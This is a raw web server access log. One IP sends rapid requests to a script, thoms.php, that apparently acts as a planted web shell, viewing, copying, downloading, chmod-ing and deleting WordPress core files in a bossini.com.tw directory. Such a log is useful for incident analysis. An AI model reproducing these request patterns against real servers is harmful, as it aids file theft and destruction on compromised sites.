45.135.193.11 - - [11/Sep/2026:23:27:52 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=view-transitions.php HTTP/1.1" 200 12232 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=view-transitions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-editor-context.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-editor-context.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:53 -0400] "GET /bossini.com.tw/wp-includes/class-wp-xmlrpc-server.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:53 -0400] "GET /bossini.com.tw/wp-includes/cron.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:53 -0400] "GET /bossini.com.tw/wp-includes/link-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:53 -0400] "GET /thoms.php?chmod=option.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=option.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:53 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=template.php HTTP/1.1" 200 21690 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:53 -0400] "GET /thoms.php?chmod=class-wp-block-editor-context.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-editor-context.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:53 -0400] "GET /thoms.php?dl=class-wp-styles.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-styles.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:53 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=bookmark.php HTTP/1.1" 200 17039 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=bookmark.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:53 -0400] "GET /thoms.php?chmod=class-wp-icons-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class-wp-icons-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:53 -0400] "GET /bossini.com.tw/wp-includes/feed-atom-comments.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:53 -0400] "GET /thoms.php?del=class-wp-block-type-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-block-type-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:53 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=fonts.php HTTP/1.1" 200 14959 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=fonts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:53 -0400] "GET /thoms.php?del=cron.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=cron.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:53 -0400] "GET /thoms.php?dl=https-migration.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59162 "http://163.245.207.76:443/thoms.php?dl=https-migration.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:54 -0400] "GET /bossini.com.tw/wp-includes/option.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:54 -0400] "GET /bossini.com.tw/wp-includes/rss-functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:54 -0400] "GET /thoms.php?del=class-wp-application-passwords.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59195 "http://163.245.207.76:443/thoms.php?del=class-wp-application-passwords.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:54 -0400] "GET /thoms.php?dl=class-wp-oembed.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59197 "http://163.245.207.76:443/thoms.php?dl=class-wp-oembed.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:54 -0400] "GET /bossini.com.tw/wp-includes/spl-autoload-compat.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:54 -0400] "GET /thoms.php?chmod=shortcodes.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=shortcodes.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:54 -0400] "GET /bossini.com.tw/wp-includes/abilities.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:54 -0400] "GET /thoms.php?chmod=template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:54 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fwidgets.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fwidgets.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:54 -0400] "GET /thoms.php?chmod=block-supports&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?chmod=block-supports&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:55 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fcache-compat.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fcache-compat.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:55 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-phpmailer.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-phpmailer.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:55 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-pop3.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-pop3.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:55 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:55 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-image-editor-imagick.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-image-editor-imagick.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:55 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-locale-switcher.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-locale-switcher.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:55 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2FText&p= HTTP/1.1" 200 12332 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2FText&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:55 -0400] "GET /bossini.com.tw/wp-includes/compat.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:55 -0400] "GET /bossini.com.tw/wp-includes/deprecated.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:55 -0400] "GET /thoms.php?dl=class-wp-error.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59193 "http://163.245.207.76:443/thoms.php?dl=class-wp-error.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:55 -0400] "GET /thoms.php?del=class-wp-recovery-mode-link-service.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59160 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-link-service.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:55 -0400] "GET /thoms.php?chmod=feed-rss2-comments.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=feed-rss2-comments.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:55 -0400] "GET /thoms.php?dl=class-wpdb.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=class-wpdb.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:56 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fms-default-filters.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fms-default-filters.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:56 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-customize-control.php HTTP/1.1" 200 19036 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-customize-control.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:56 -0400] "GET /thoms.php?del=block-patterns.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59155 "http://163.245.207.76:443/thoms.php?del=block-patterns.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:56 -0400] "GET /thoms.php?dl=bookmark.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=bookmark.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:56 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-theme-json-data.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-theme-json-data.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:56 -0400] "GET /thoms.php?del=class-wp-roles.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 58932 "http://163.245.207.76:443/thoms.php?del=class-wp-roles.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:57 -0400] "GET /thoms.php?chmod=class-wp-admin-bar.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-admin-bar.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:57 -0400] "GET /thoms.php?del=revision.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=revision.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:57 -0400] "GET /thoms.php?del=rss.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59155 "http://163.245.207.76:443/thoms.php?del=rss.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:57 -0400] "GET /thoms.php?dl=template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:57 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=abilities-api.php HTTP/1.1" 200 21063 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=abilities-api.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:57 -0400] "GET /thoms.php?chmod=class-wp-walker.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-walker.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:57 -0400] "GET /bossini.com.tw/wp-includes/query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:57 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fregistration.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fregistration.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:57 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=speculative-loading.php HTTP/1.1" 200 16062 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=speculative-loading.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:57 -0400] "GET /thoms.php?del=fonts.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=fonts.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:58 -0400] "GET /thoms.php?chmod=ID3&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=ID3&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:58 -0400] "GET /thoms.php?dl=spl-autoload-compat.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=spl-autoload-compat.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:58 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-oembed.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-oembed.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:58 -0400] "GET /thoms.php?dl=block-editor.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=block-editor.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:58 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-site.php HTTP/1.1" 200 14286 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:58 -0400] "GET /bossini.com.tw/wp-includes/class.wp-dependencies.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:58 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&settings=1 HTTP/1.1" 200 11932 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:58 -0400] "GET /bossini.com.tw/wp-includes/class-wp-admin-bar.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:58 -0400] "GET /thoms.php?dl=http.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=http.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:58 -0400] "GET /thoms.php?dl=theme.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=theme.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:58 -0400] "GET /thoms.php?del=class-IXR.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-IXR.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:59 -0400] "GET /thoms.php?chmod=class-wp-block-parser.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:59 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-filter-sentinel.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-filter-sentinel.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:59 -0400] "GET /bossini.com.tw/wp-includes/build/ HTTP/1.1" 200 1288 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:59 -0400] "GET /thoms.php?chmod=class-wp-theme-json-resolver.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-resolver.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:59 -0400] "GET /thoms.php?del=class-wp-dependency.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59162 "http://163.245.207.76:443/thoms.php?del=class-wp-dependency.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:59 -0400] "GET /thoms.php?del=class-wp-object-cache.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=class-wp-object-cache.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
